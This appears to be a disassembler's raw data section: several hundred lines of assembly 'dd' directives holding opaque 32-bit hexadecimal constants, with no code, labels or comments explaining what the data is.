dd 8438910Ch, 70C03D22h, 2DEDA7AFh, 545BC94Ch, 0ECE91F16h
dd 49008FACh, 0A19CBBECh, 24908CC9h, 4C50A7B1h, 0A34A8E70h
dd 172CDCB2h, 0D9C9086Ch, 9D1C7027h, 0A1064460h, 0D3182516h
dd 37878C4Bh, 65FB80E4h, 0DBAB0684h, 6AE7697Dh, 90CD0C88h
dd 87B4124Ch, 45E8B3E1h, 0B93BF7B0h, 0D8082DA4h, 0D44595B8h
dd 0BD299409h, 351B8074h, 518C274Dh, 4E4C8D2Fh, 893179A8h
dd 0D4D44301h, 89110F9Ch, 8700B777h, 0DB28E909h, 3E044056h
dd 38E0F1BBh, 0BA9427E7h, 82C1406Dh, 0CC2FE73Dh, 74406BD8h
dd 0D5072DADh, 0FF44745Ah, 515013D4h, 0D2E0FDA9h, 66B888EDh
dd 6A7E3Fh, 18A108C6h, 0C33C9E16h, 0B57FCCA1h, 785B7C80h
dd 0F57E3A1Eh, 63A0D200h, 3E1B2491h, 8F13C287h, 0E6188576h
dd 0CC87B09Ch, 2C2900A9h, 0EC5A1CBFh, 782DE9A8h, 5328C8FFh
dd 0B7D44015h, 0C1B48C30h, 80F0A7h, 4A96579Bh, 74525B53h
dd 6A621301h, 0B28D87DAh, 0AC54C02Fh, 1513310Fh, 600196ABh
dd 0DFF025C6h, 5E14002Bh, 0B1B8A85Dh, 0B0A6AD4Eh, 0D36CAF00h
dd 0B53EF808h, 0E9A7B025h, 4620FE8h, 0B34017Ch, 0E7494E7Bh
dd 12E8703Bh, 14DD874Ah, 80BCDA6Bh, 0F433EA0Ah, 0E35255Dh
dd 34AB5C5Bh, 53A6859h, 0AB469FC0h, 4CF68816h, 617480E4h
dd 332762C4h, 4FCCDA45h, 10D8B271h, 6A25753Bh, 0A85E58C2h
dd 3DA4676h, 0EA53EC60h, 0E0B1F8EDh, 68820EE1h, 0AC32AE3Fh
dd 30E8C248h, 9401F7EFh, 0F4C11521h, 62B5D73Bh, 40377558h
dd 70AF209h, 28B4E2BAh, 23643BABh, 0C70E0139h, 2FD1A0FDh
dd 6EABD474h, 9F120940h, 40D05C61h, 975DDE0Bh, 3016C900h
dd 9ABD396Eh, 700F015Fh, 143CCED8h, 0CC002EBBh, 778392E0h
dd 183E00B4h, 202D2FAFh, 7C0080FCh, 11C024DEh, 17F4BD6Fh
dd 0B08CB5CCh, 50E4A660h, 95845895h, 0D0D9E08Bh, 0D61836F1h
dd 80B8BA00h, 0B03883DEh, 1617226h, 0E9C07755h, 40322B40h
dd 0D16B19E4h, 52D8820Eh, 842F03BDh, 0D7900FE1h, 98988BD2h
dd 2881C7B0h, 88EC9A2Bh, 0FBE7C539h, 4EF0C1Dh, 41EB0C6Ch
dd 3025DE74h, 0EC6405D3h, 0BF009CA2h, 0D6B982B3h, 0CD951C14h
dd 256061FCh, 3BE04255h, 0A1C064C6h, 9FD1DBFBh, 1AB32E36h
dd 7D903A68h, 38E49392h
dd 4CF44C22h, 2024149Fh, 8C191876h, 511B71C1h, 0F6491012h
dd 0A10033BCh, 66B471E9h, 0C7137004h, 100E3CE5h, 1F6282FDh
dd 40905C25h, 29D1E75Eh, 5B7700Bh, 5198563Fh, 7A14F613h
dd 4F29CD31h, 0BF180121h, 5049ADCFh, 88E24BA8h, 20E2A6FCh
dd 465E20B6h, 0A4172CA3h, 0F9412F0Bh, 1834D9B4h, 0D50E00C7h
dd 0EB70C081h, 5B133F96h, 28E2B4D9h, 568AECC5h, 0A380A8F8h
dd 99792580h, 0BDC82420h, 25005141h, 1AEE79D8h, 198FD15h
dd 81155CBh, 0C0F71BC5h, 16016959h, 0B5361D27h, 887C3FDFh
dd 0C80701C5h, 520383C8h, 7FD6C91Fh, 54B6506Bh, 1C68E59Bh
dd 8C31ECh, 2F6458C2h, 0B55E3394h, 0EDDCE004h, 2DAAB8CCh
dd 0E27032D4h, 6A213038h, 758E90Ah, 5325A434h, 0AF0B3B30h
dd 5448EA3Dh, 0CF172776h, 0A888EB36h, 0C44C06D8h, 0E8624B3Ah
dd 0BCE5605h, 94603189h, 2DF8F66Ch, 38592C60h, 732D10A8h
dd 0A7385B6Ah, 7CE686Dh, 0F6D03142h, 2F0ADECh, 533F7BA3h
dd 0D4E4B011h, 0E83D8332h, 27445CAAh, 0A3C434E7h, 4B2C7B60h
dd 4E61AF2Dh, 802A04E4h, 52B7E83Dh, 204F04A8h, 0AFEAB3F8h
dd 0C01E732Fh, 253F1A68h, 287340FCh, 25630B70h, 18644197h
dd 867A5B00h, 0C7C0D3CDh, 0D92500FFh, 95768E1Ah, 0D4988753h
dd 8B30FB16h, 9AC068DBh, 9315BC9h, 1618FDB8h, 1560DE12h
dd 88E94B47h, 0FCB80160h, 0A11BA509h, 0EACCA03Fh, 94C65358h
dd 81B304E0h, 0D234ADCDh, 2B8BCFDh, 0C24B8607h, 0EB116B1Eh
dd 0F43CCB78h, 7674B492h, 5888354Ah, 0C4F12053h, 0B0E7FD04h
dd 40A46CA5h, 2FD03E76h, 48601703h, 8AA8ECD1h, 74B84EBh
dd 122C588Ch, 0F46F833Bh, 0D741C4DCh, 51AB1888h, 4928512Dh
dd 0B1F020DBh, 0C6AF02BAh, 9F3CB28Bh, 38B42075h, 1E164BABh
dd 0C07B7FE1h, 0F4271161h, 7700689Eh, 80CB5148h, 4B0D538h
dd 9BA4142h, 151C91A8h, 0EE0BE88Ah, 0ED7EFF00h, 61F708D1h
dd 533D0A64h, 72D4B321h, 91F0155Dh, 0D04880CCh, 1F62E55Eh
dd 0C5524018h, 2147436Ah, 4D114A0h, 458F14B8h, 0E455B127h
dd 20823412h, 4298747Fh, 0C509D370h, 60DDE4F8h, 33A5231h
dd 0AB564684h, 1416E18Ah, 280D186Ch, 823B6913h, 704A3EF8h
dd 0DC34D4h, 0D36A698Dh, 0EDA6DCA0h, 0FCF0E069h, 2705DED4h
dd 0E44C5DDBh, 0E900C8B2h, 1993D30Ah, 0A00768A2h, 51D0CC57h
dd 8960B337h, 258C259Dh, 0D451A671h, 9187BD1h, 6BB5B401h
dd 2FB34752h, 9A2A1461h, 0E4CA4B04h, 57C07BC8h, 0AE10A9h
dd 0BCE75F3Fh, 95030963h, 0C4FCE0D3h, 0C198DA5Ah, 7E042C07h
dd 0ECC0882Bh, 0CA866600h, 0D009EE7Dh, 0B71C4A03h, 5CF64F28h
dd 0FEE5CDA1h, 6C16B7E0h, 0BB62CA13h, 0DCA8D085h, 80B1B812h
dd 30EB8D6Ch, 0AC82CB4Fh, 2B4C8099h, 3BBC036Ah, 73813CC7h
dd 0C27CFD8Fh, 0F3DD44Ah, 0B74A8AF0h, 0E8B918EDh, 92000CF4h
dd 0C82E96A8h, 40DB4AACh, 0B7FE224Dh, 4EEB7h, 2F4ADBC8h
dd 4D621446h, 0B0099D26h, 8ECED309h, 0EC814E4h, 54FD6111h
dd 9F1504A0h, 88AEBB88h, 560075CCh, 0A236255Bh, 9EF53D17h
dd 6C66ADB8h, 77E3F212h, 8C10DCF8h, 3D2700C9h, 0B11EB074h
dd 3424BDA5h, 8CED0Fh, 0DACB4402h, 0DC9E18h, 0E1133CB4h
dd 57840912h, 16AA300h, 7537F0F1h, 999CA1F2h, 2A099832h
dd 0EF0022A9h, 501E5584h, 0E2FB0A00h, 3D714F30h, 80655AB3h
dd 0AD2A86CCh, 0D0B3E8D2h, 54F75602h, 6E55E0DEh, 56049E60h
dd 2A00C846h, 0E4E33D1Eh, 8709143Ch, 5B8677B6h, 57AF5870h
dd 0E7E3C807h, 9973D5F8h, 5D210039h, 0C6C3792Ch, 2B00C5B1h
dd 0FFCE17E5h, 18E395Eh, 3413018Ch, 0CF89B0A5h, 51BAF827h
dd 350C0044h, 0C03C9CEBh, 0AD922F00h, 91346F30h, 94E70153h
dd 78E3F6DFh, 4D87C63h, 0F4EC22A6h, 755C32BBh, 34628700h
dd 5AC30581h, 0F1FDC165h, 0F03E2B74h, 0AC00CB23h, 348EA6CCh
dd 38F42371h, 2DA4582Dh, 0D450559Fh, 7441055Fh, 2F933484h
dd 2DA45824h, 988940FDh, 8354A818h, 0FE4F1500h, 87C9793Bh
dd 22AFE17h, 7DDBE455h, 2AE17335h, 98352E83h, 0DDC864CBh
dd 0D5AB96C0h, 3B88008Fh, 0BA37ACA4h, 6D5E5B8Dh, 3F1E7CB2h
dd 2F88E874h, 70B74328h, 930CAD00h, 1265D0C0h, 0E61B52B1h
dd 0E4824BC0h, 0D4020BC9h, 0C05CA74Dh, 25EDA450h, 94CEC2D4h
dd 0A820225Bh, 0B47332ACh, 0B65ABC04h, 0D068E3F8h, 76A501h
dd 9C906FFDh, 0DDB33CC0h, 8E4CB15Ch, 0C4CEF60Bh, 5BC0CBC8h
dd 17809276h, 40733B2Ah, 0F73452E8h, 2EF9350Ah, 0B70D7061h
dd 3206000h, 5164049Fh, 40E770A0h, 9C3E9BDCh, 0D47A0927h
dd 64605680h, 1536Ah, 41A33D82h, 8080093Eh, 0D0974470h
dd 6FC540F4h, 332010BFh, 0E0EC1ACEh, 90DF1491h, 1778FE1Ch
dd 0A3487Eh, 0AE546650h, 0A609BFDDh, 708285ABh, 0DB8B0B34h
dd 0C56C5CFh, 0B95B3F02h, 808056A5h, 0CABF2975h, 2512A779h
dd 68C2C864h, 8288E077h, 9D929CDh, 8C71A7ECh, 580C642Ch
dd 97A031D4h, 0A11B3C00h, 66543239h, 42E95F8Ch, 0B255EC94h
dd 65308264h, 649455C7h, 0CC709725h, 8494218h, 22FDF58h
dd 0A7994B24h, 71766501h, 0C470ACCDh, 0C8C571BBh, 0E080AE59h
dd 0ACB48C92h, 0B6384A4Eh, 5B623A64h, 60A744E7h, 521E430Ch
dd 74FCE324h, 9158172Dh, 5FC29C38h, 7E9758E9h, 68532520h
dd 40DCCDA5h, 0A59FEB24h, 0D3BDEE03h, 6B05F0h, 78D7A621h
dd 11DAA0F5h, 0E29AEC0Fh, 0CA0AB685h, 1605E8BDh, 0E4940D6Fh
dd 1B06EBAh, 4755D5A0h, 32EDAB3h, 0BCDE3D8Ch, 0D7E068A6h
dd 0F061CA80h, 0A45C34C5h, 0A680C511h, 0EA27B0D0h, 0A717054Eh
dd 0BBD835A0h, 8F9AAC44h, 19F048B8h, 144B60A6h, 13CC1C88h
dd 9C47CF6Ah, 621AB2F0h, 5419742Fh, 4ACC40CCh, 0F4BA4CFFh
dd 3D75EB03h, 3A746234h, 0B14AEA08h, 0BF199268h, 6E3BA004h
dd 0B164C545h, 0B8483968h, 332C08CCh, 0AE026017h, 71C28425h
dd 50A21138h, 0CD4847C4h, 2C69132Ch, 0BD0220A2h, 0E995A333h
dd 884B280Ch, 8A4B0FA0h, 40B7E4F6h, 0CE9F59B4h, 1778E913h
dd 8A4A68ACh, 6C417458h, 0E068A62Eh, 1F52359Eh, 0CCC6D971h
dd 9854E88Fh, 7CCEBA4Ah, 0F0629F2Fh, 0C2044D55h, 0ED405C1Ah
dd 0BF0EF50Fh, 9742B2EBh, 1F8D24F0h, 923FA2D1h, 8488B281h
dd 0B8AC2829h, 8CC2ECh, 93B9367Fh, 0DE8FE41Ah, 77C9917h
dd 0CE6F8090h, 362B0B32h, 80171C17h, 1180CF91h, 0D29B6BD1h
dd 0E0576102h, 0C08C396Eh, 83DE7344h, 14665A88h, 0A0183Fh
dd 0E07C9D37h, 1A6BA94h, 3D7EAD19h, 7EA750E3h, 8C7F603Bh
dd 0C7EAA505h, 41ABEDDCh, 276AB4D0h, 34C10476h, 8E6FDE0Ch
dd 0C0DEC81Ch, 26468D58h, 0C11840BDh, 44539509h, 5ED4D625h
dd 26137C46h, 162001FAh, 0B83077h, 9FB0A4B7h, 11F72448h
dd 0C10D610Eh, 5CC8D7E7h, 2C1002C2h, 361650AAh, 915497DDh
dd 0E0C58F37h, 9A091803h, 632C0BF2h, 687251A3h, 10A19D5Eh
dd 0DAF24872h, 0F6A28530h, 4CE28Bh, 0CF2707E2h, 0F5662F7h
dd 1E51EF05h, 50C89F9Dh, 992D00EDh, 34655B41h, 2E04C9BAh
dd 8AC8D9EEh, 0C080DABBh, 4548E683h, 8B0600ACh, 584B4C13h
dd 0ECB42C0Fh, 1FCC5588h, 870713E8h, 9177D948h, 77F0600Ch
dd 89FF8A26h, 0F490DC74h, 2463EA00h, 3C9CBC65h, 6123259Fh
dd 1F41C5Ch, 693F3CCEh, 806A0795h, 0E9928269h, 4423315h
dd 50B21696h, 4457AB3Dh
dd 79A28CA3h, 0D207C31h, 4A4F0427h, 0C82C78FCh, 0E21D87D4h
dd 94ACA8DCh, 3641B880h, 5A40EB8Fh, 2DF41F7Ch, 8E7760E8h
dd 0B51A7000h, 0A7C6B344h, 2B4EAECh, 0EF30EA2Fh, 0F0DC09C2h
dd 9F6B28DEh, 5E7634h, 8247A544h, 7FE2AB69h, 107AC05h
dd 6EAAB1E9h, 391D01BCh, 3D854B84h, 97ADDDF8h, 0DC3EE0B9h
dd 0BE448F6Ch, 58E76A7h, 0A4662EBDh, 64F858h, 0B0F1566Dh
dd 2F97EE76h, 8CD0FE81h, 0C0A06DBDh, 0E8616BECh, 7160A500h
dd 0A0E5029Fh, 0F32E4E5Bh, 307DE2A0h, 0B35B8E51h, 0DB6C58C1h
dd 613D1100h, 9C0F8101h, 1BF7A224h, 6108A5ECh, 0BCA0C027h
dd 6497CEF1h, 0E30BC63Fh, 0E8820C43h, 85CA4F0h, 8A7D0E57h
dd 5AB1B9A0h, 649EE71Ah, 0E8FB9B43h, 0A8A52Fh, 0A084EB6h
dd 0AB452123h, 0E1074B02h, 0D29E5CFEh, 0D45300A8h, 0D37AA30Dh
dd 42047550h, 0F1AC2A08h, 548580C4h, 7E88708Eh, 0A886C7CFh
dd 2425C770h, 503897DAh, 10B88115h, 544A3B25h, 993478B8h
dd 0F738D609h, 51E854F0h, 8904D285h, 0C060DAAAh, 8EDD3E3h
dd 92DD00A3h, 2AC2BC07h, 80959343h, 0B73FAC4Ch, 83EC3C59h
dd 0AD7CE424h, 0F2C0B0CDh, 23ACAE0h, 0C5C17C4Ah, 4755BA60h
dd 50997CF0h, 8E187E71h, 609DC176h, 94BB8418h, 2CFEE938h
dd 0B280D08h, 28542254h, 414EB51h, 0AB529BCCh, 6B2C0C70h
dd 8B51C003h, 185A9AE1h, 88A8674Ah, 23883A92h, 40621FCDh
dd 17FD7EC5h, 6D12DBD4h, 0C0AC8B69h, 0E06FBB92h, 6800034Ch
dd 98F2F609h, 271D115Ah, 79925D69h, 644D30E2h, 420230BCh
dd 0B9E81D02h, 7C10DDD7h, 7000DA10h, 5B204C26h, 252AACB0h
dd 874485Ah, 6C70C647h, 160E5BBh, 6225F431h, 20B2FC58h
dd 50273D96h, 9E8488Ch, 0FEE6A7h, 0DCE418E5h, 0EF87C7C8h
dd 0A0965803h, 0C4F40FD3h, 0EAE080AAh, 6DBF4895h, 899BC00Ch
dd 38048F43h, 2DC8ABDAh, 2340B180h, 0DCCE95CAh, 7378EA17h
dd 0FCD4BCE0h, 0B4B74B15h, 0C641F39Ch, 87B89B6Bh, 822B2F6Ch
dd 55DD89ECh, 6800F0C4h, 3F7A5DBAh, 25038C9Ch, 50742B55h
dd 74A01F16h, 0C1BB2D3Ch, 1680EC40h, 0C5DEF61Eh, 23AEC0D3h
dd 0C1002240h, 70FB7A87h, 1A3EFF31h, 39B0FDBBh, 4295B878h
dd 0DC08D4D8h, 8E6B520Eh, 0E950437Ah, 0D0A8AC31h, 58CB5F8h
dd 81BB3FBCh, 2010D0CEh, 0A388CA0Bh, 9C49E35h, 8B550FDEh
dd 79C8512Ch, 2418DCh, 0EDFB9C2Eh, 29B0C4AFh, 7871DF60h
dd 80082C3Bh, 30A540FCh, 7960DDC4h, 3A05C646h, 4665D5Ah
dd 0A514B4h, 0BB45FBDAh, 124A4E14h, 0F1007A71h, 48D6F775h
dd 28DAD27h, 0DF1A9EACh, 445F41A0h, 7C0B20B0h, 0B150909Fh
dd 0A6DD1E6Bh, 7248C021h, 3147A71Ah, 52CB230Eh, 5AEEEB97h
dd 973DE6CCh, 0D8C7E466h, 0A50425C4h, 4B048BAAh, 0C4A8A8FDh
dd 8B6F810Fh, 20B2B7FAh, 590B0071h, 0A5BF3B2h, 0E4004577h
dd 33F44DBEh, 6494C5A7h, 0AE1680B3h, 0DAEB8874h, 0A0B28028h
dd 3B77899Fh, 2CC98C13h, 39811638h, 8F1E6C7Fh, 38F4207Bh
dd 0E89F902Dh, 31E2C4h, 0B50A65DFh, 80FC21C1h, 6E02D8B8h
dd 0C6F07C8Eh, 18225781h, 5168B58h, 383CF2DAh, 2034ABA2h
dd 25DC01EEh, 3CCDD153h, 60E884B8h, 3B7C0C19h, 0B1212802h
dd 0FF4C72A3h, 63A4566Ah, 0DBB050BCh, 69E261BBh, 9F00CC76h
dd 7A8D121Dh, 3020AC8h, 0FFF68291h, 0C6942A8Eh, 0BA1C49ACh
dd 80CF011Fh, 0E9C8C137h, 0C16E1B78h, 2E2D06ECh, 77D4EC67h
dd 10D408BDh, 0A46FAFD3h, 4886C1Dh, 0AA7468A6h, 102F08DCh
dd 0B294348Bh, 0C4971A0Bh, 0D380DB11h, 7D95597Ah, 0F5CF0E01h
dd 774B2CFFh, 0B8C1D054h, 996A3DBFh, 0C86A2BD8h, 78FD9600h
dd 0DFB062F0h, 0E9A0A205h, 88F1E330h, 87F0C57Fh, 778E424h
dd 21C9EC24h, 473B6E7Ch, 225E6068h, 108F25ECh, 0C054C78Bh
dd 0EB80091Dh, 0CDB8A561h, 17E09ADCh, 0E3A8B11Ah, 525B2798h
dd 0EB6F09E4h, 10553396h, 3078E870h, 3120C0C7h, 9905EBFCh
dd 0F425A736h, 118B70E8h, 0A100A854h, 0EB3B2819h, 0BB882DEFh
dd 6171387Bh, 9577E3F8h, 1DE7A86Dh, 0B6342553h, 0D6761DA0h
dd 0DD054FC1h, 54F099EBh, 1817B701h, 7015A56h, 464182Bh
dd 0FB4AAD05h, 0EFE8E8BDh, 0C0EA492Fh, 0A17410C0h, 0E6703C8Ch
dd 1300B9C6h, 0C270D747h, 0D86AA6BDh, 0A44F4856h, 28B83952h
dd 0B0C4E64Fh, 1AF5790h, 7A6126FFh, 2BE19D5Bh, 925AF428h
dd 8C5B9F94h, 121F6170h, 0AC07C751h, 7B100340h, 89762E1Ch
dd 8DF0ACADh, 88C2736h, 3F9B5868h, 13007176h, 0F7B06535h
dd 1FC854Fh, 8B51183Dh, 0F0F90136h, 8F740D1Ah, 20F21E4Ah
dd 6D7830Fh, 0DBF1FFC0h, 760FCB63h, 32907D8Fh, 375C01AAh
dd 308D5E66h, 0C8B25314h, 2C37BDh, 28CB5E57h, 0E4047C7Bh
dd 0A1B16A48h, 0B5C134F8h, 2BD9097Ah, 0E610088Eh, 54EC4B38h
dd 3FE41D02h, 0D4718772h, 0AD18DB79h, 35065900h, 82B3D59Ah
dd 812A255Fh, 74915CCEh, 2918DF71h, 0D8C6CC00h, 511BE7C5h
dd 80144B39h, 0FB632A50h, 0D92F389Ch, 8D3480C4h, 0D9975E98h
dd 0C04A8978h, 9FF82CA9h, 0D325700h, 0AD5B3EFEh, 18C795D1h
dd 50785B27h, 2001D42h, 0B84AFBC7h, 161B0610h, 0B87F30EBh
dd 290978F0h, 73CF4024h, 13AC8784h, 4F3130DEh, 74AA10Dh
dd 0BFD88CE5h, 0D4D7006Ah, 670E1DC6h, 403DF445h, 27EC58F7h
dd 0F14C5959h, 3E2187Ah, 939B9005h, 5EC9F00Dh, 0BFC4410Ch
dd 20B00451h, 2D24BA7Fh, 648BEE9Eh, 1A41E456h, 5B20B9D9h
dd 628B1F65h, 3F9F8A8Eh, 2792808Ch, 0D007DE64h, 0AE5B3700h
dd 9447C43h, 425E160Ch, 5FE0A9D5h, 0A600D8E2h, 4EF4A8B6h
dd 76124C70h, 0C00B4B8h, 305BB227h, 8A170093h, 6D29EE1h
dd 0CB127A8Eh, 0E8ACA418h, 98901122h, 63933B1Bh, 0C4F5F8C8h
dd 12BCA3D6h, 0BE285B28h, 70F4F420h, 68C500F8h, 0C73A4B32h
dd 20B187Ah, 0D9DA6450h, 6C1F88F8h, 0F721A609h, 0A2143410h
dd 0FEFA6400h, 0E68B422Ah, 0DECA024Bh, 0B3086F7Ah, 95E010F7h
dd 0A48C0026h, 4E43691Ch, 3F7A90A9h, 7FCAB360h, 46F2168h
dd 0CA021518h, 20B0AC79h, 3D8002DAh, 9FBAEB7Fh, 22174C44h
dd 0C04B626h, 7603A8E9h, 9916A430h, 6806123Ch, 650811B9h
dd 0AB9A30A6h, 80BC1048h, 2F2BAF1Bh, 0B158070Fh, 3F2884D0h
dd 181B68D7h, 9740E8DCh, 242DD8D2h, 444CD80Fh, 0D8B8FFDAh
dd 0E0C08720h, 2CCD19A9h, 33B9C0A6h, 3B8900ACh, 2B1DFC65h
dd 73E10193h, 0F5969171h, 0A77C7013h, 39CE7540h, 49DB6C25h
dd 30D50D4Ch, 0B0694854h, 0F62218F8h, 3DA619ABh, 20A8669Dh
dd 41B7B838h, 105564Ch, 134AACF0h, 1620294Eh, 0CA3C020h
dd 0F430A3B2h, 23333C2Ch, 25251049h, 7C8EA4FEh, 5E90FAE0h
dd 940DDC38h, 0C0B1BDE3h, 0F20242E9h, 1700905Ch, 0AB3AAC64h
dd 93E4BE46h, 0D34CFC21h, 0CFD81C02h, 5F9C92DAh, 77009CB7h
dd 474E8328h, 903BE39Fh, 65B95B08h, 771F1600h, 0EFC971DEh
dd 0A3985A1Ah, 37AFC0CCh, 569E1512h, 41B044B6h, 0B12C48FCh
dd 0BB09A827h, 12B4D6A9h, 34C8E474h, 0A6B650Fh, 60A168E0h
dd 31B33F17h, 20C44895h, 3ADE421Fh, 12B920F5h, 0E2FCAF2Ah
dd 0ECE8A5CCh, 0E4270980h, 910FB554h, 4025C547h, 70800799h
dd 3268793Fh, 0BAA90D50h, 1037DDh, 8DEFBAD6h, 1E88AD09h
dd 661200E0h, 0E2209CD8h, 45B556F3h, 381A9194h, 58A6DA42h
dd 0DB307BA2h, 42541D24h
dd 7C23C037h, 1328F55Ch, 3EA4E251h, 86E0CCA6h, 0E9523D61h
dd 79370088h, 69946628h, 0F4F99712h, 352C644h, 78497708h
dd 58F3344Fh, 187AD889h, 58F0DB95h, 0F71E552Fh, 0C54498CDh
dd 0C812BD4Ch, 0A3077CD8h, 0F3705D81h, 0D9A96960h, 0A88A4ACEh
dd 0AB56A254h, 4084D8B4h, 1C5B17C3h, 0F84EC86Bh, 0DB5C8044h
dd 123CCB28h, 0FFD579B3h, 2FFF424h, 0D1752170h, 2F90B85Ch
dd 50706BD2h, 8DA28F8Ch, 0FEA7AC56h, 0FCE5DC24h, 9604AAA6h
dd 0E6434CD8h, 0AE4C75ABh, 1101086Ah, 0E5E7EBF9h, 0DDDD47A4h
dd 44B12BA0h, 7B19DF0h, 0C18DFDCh, 0E1E5F4F4h, 0A4102B18h
dd 8C34AC38h, 0CD9C1800h, 8EC33645h, 0A82E1276h, 0BC28BD8Ah
dd 4F840071h, 0D04806Ah, 6C982F36h, 97A76520h, 8C4288D9h
dd 883120BEh, 0EC007DD0h, 0F637CDA3h, 0AA2A04A7h, 70445DBCh
dd 0EAF36D0Eh, 0EBD6846Fh, 946698E0h, 7C7681D4h, 2ADC73ACh
dd 3BA2A4E3h, 582D4A30h, 3F22BC9Ch, 34E18D5Ah, 6544882Bh
dd 0AC4B560Eh, 8F0FA030h, 0BD5B58EBh, 62D6BC07h, 3AD5C8C5h
dd 0B5FF0h, 46D604FEh, 8CBB0438h, 80914F09h, 5E3B33A6h
dd 0AA055368h, 2CE93474h, 641F15A8h, 9B40D16Ah, 0A4B888ABh
dd 0A4C897C5h, 3545A66Eh, 0BB14E1D7h, 66CC497Eh, 11681F77h
dd 0D52D8031h, 151A4C0h, 80D493EFh, 6FD0EDA7h, 74AA1484h
dd 6CDAAEACh, 5256A680h, 2A093ECFh, 0B3AC8AE7h, 0CB43D100h
dd 4E081F6Fh, 91A4CF3Bh, 6012ABE4h, 91E09CE6h, 0E80446A7h
dd 0F6493DDFh, 52342482h, 0F5F70268h, 1E017C8Eh, 8A4A74DAh
dd 0D5C0109Ah, 41B21153h, 0B1575006h, 2F2147ACh, 7CAB2C76h
dd 6B006844h, 421A611Ch, 0EFC1Bh, 2B953129h, 0AFD23D17h
dd 0EC7AA901h, 71DD2D0Ch, 88BC8F3Fh, 0DCDEC9D8h, 0DCE8180h
dd 9CF2AB0h, 0D6D5533Ch, 7C5C900Bh, 4835DC40h, 4EBA00C7h
dd 333B091Ch, 0DD3F4010h, 0F540039h, 0E6816CA3h, 0B0144A3Ch
dd 227F2FC8h, 0DB8BF101h, 0EDA36BB8h, 0E10FA86Dh, 82D7A0D6h
dd 0A7D5BAE4h, 0DAE211ACh, 62585C40h, 4C5AC5CEh, 10AC145Ch
dd 2E2FA901h, 3E459CF9h, 0FFD89482h, 0CB69941Ch, 0B4B7D5D1h
dd 3C859702h, 8D386055h, 881309ACh, 0B811339Fh, 1CA63A18h
dd 74423BEh, 0C90E6713h, 0FD28B980h, 804FBA7Fh, 0B5C8EC8Bh
dd 0C8EC86C5h, 7D6D9B81h, 2A8EC463h, 0E3F1AE12h, 2FC4A4ADh
dd 0ECE0F8BAh, 8B7C8CDBh, 329DE30Fh, 0CF062374h, 415FB1CCh
dd 1058CE6Ah, 0C15AB3B1h, 3FF08E40h, 0EB0114A2h, 2AE33C1h
dd 0AFB0BE79h, 54E0D18Dh, 5DBC7D1Ch, 8D64BF01h, 4865E7F0h
dd 2FD89D2Ah, 8FA04CE6h, 0E21E8A0Eh, 0B25122B5h, 4A38A84Fh
dd 0C2C8ACDAh, 80EE53C3h, 0B63E7EDh, 0B3C1439Fh, 3B1EC418h
dd 9BAAA509h, 61E456C5h, 654B40E8h, 6D4442C8h, 641E832Fh
dd 4C194F8h, 2421D583h, 478DE61h, 252AC380h, 0D0BE70B9h
dd 0D732A662h, 0DC2C4C18h, 7268E183h, 0D4485CF2h, 8001CE46h
dd 6D68C301h, 0C89C5B52h, 0CEAC0CFh, 3C00EB16h, 8F276684h
dd 978A820Ah, 19A63C18h, 0AF4C519Dh, 23C1FC6Dh, 7ED8ABBAh
dd 0FC0750AEh, 84EB4B74h, 889EEF20h, 0D14BC880h, 361207ABh
dd 28B8C731h, 0AABCC44Dh, 4CD9F400h, 0DFB67FF8h, 0A96D2D50h
dd 50C6859h, 7F63173h, 7B6AF5EAh, 0D63CA01Ch, 311E5D44h
dd 48425A4h, 80FB61A8h, 16416228h, 2CE3BB4Ah, 0BA25A612h
dd 18FDA057h, 0A070F6D3h, 0F08DCF2Fh, 708826D6h, 5C5B254Ch
dd 2936C70h, 3D03E23Ch, 0AEE17879h, 17823BEh, 6D9AFF64h
dd 55E28D58h, 0B51174B5h, 28712289h, 0F7784A84h, 3282B4D4h
dd 7070C0D0h, 6CE70081h, 16C99509h, 0F3958ABAh, 168158B8h
dd 56279C9Ch, 0B546D610h, 0BF49BD34h, 4AAEACC8h, 2760E7A9h
dd 11389F8Fh, 0D94F8344h, 6D6CC077h, 510C0033h, 0BAA942D4h
dd 1E267A8Eh, 3C125F28h, 76BBE892h, 73465ED0h, 8C79EC25h
dd 5AC3A703h, 0A8BDE87Ah, 54AE3AB9h, 4F8EE101h, 0C2ECC20Eh
dd 7F443AD7h, 5000A0B5h, 9E7EB323h, 84DF4811h, 7056512Fh
dd 65EB8100h, 0F3DF667h, 2F6195FFh, 7A742F9Fh, 0B2C903DCh
dd 17B98D89h, 0B5FF4603h, 0B7ECBACEh, 2A79BDC1h, 6A7F19A7h
dd 0E441F5D2h, 3FDFC83h, 300F0280h, 605B7584h, 0EBF94AB0h
dd 0FE3A1100h, 55D1912h, 13C5381Fh, 2BA79F00h, 8B611A33h
dd 30558516h, 3AEE7AFEh, 649F0566h, 0DEBFC6E1h, 0E9BAC199h
dd 0E27A6A66h, 2EF000AFh, 94E31258h, 9A7700F6h, 8B6F1704h
dd 0C7095FF9h, 0DF27A985h, 0F42FD6F9h, 9D8DC181h, 0BF66010Ah
dd 0AD200321h, 0ADFF71F3h, 9FB5E2D9h, 40CF4FFFh, 6982BBB0h
dd 60B90C02h, 908D9D8Bh, 17E681EBh, 0FA61BCA1h, 8A509C30h
dd 48919F9h, 0F8297424h, 0FBFD2E5Dh, 0F0DBBEC5h, 74F52CC0h
dd 0F0BF8FCCh, 0F672C137h, 7B05ED96h, 0D1E0B8B6h, 3A0B1929h
dd 0DDE94D6Bh, 12243E90h, 0D4B3D700h, 91BBA579h, 12467A6Bh
dd 2C0835Fh, 45D9D73h, 41509002h, 9D4FA6Fh, 0EDED5FBDh
dd 0B5ED5BB4h, 0E2680DBCh, 0F305AF3Ah, 9DFED89Bh, 79F67B22h
dd 0AA1B62A0h, 5760CA30h, 108938B3h, 412F7185h, 42FFC6E0h
dd 9323724h, 0E22485DFh, 2967888Ah, 0D118149Bh, 4F4DCF7Eh
dd 379CAAFCh, 44FF8A69h, 0EEE00B0h, 1D1870E3h, 21ECF515h
dd 0B44B2F09h, 8C20846Ah, 0A6E59B98h, 12E830C9h, 0FE5D881Bh
dd 5A79D300h, 42A4D91Eh, 0EE8E7A05h, 13110655h, 0B6905BACh
dd 0A1FC0144h, 0A37AADB9h, 3015E2ECh, 0E090801Ch, 0E9879D05h
dd 8BFE0F32h, 9741705Dh, 736BEA3Bh, 0BBB7E00Bh, 11B7DDh
dd 9A8B2D48h, 730950B0h, 2345F86h, 726416Ch, 96D16529h
dd 0DFA1820h, 4BBB8182h, 77F2EC90h, 2D606D4h, 0ABA8F66Fh
dd 9E402F40h, 444D6EBBh, 0F0B64617h, 2780C5F9h, 667DF5DBh
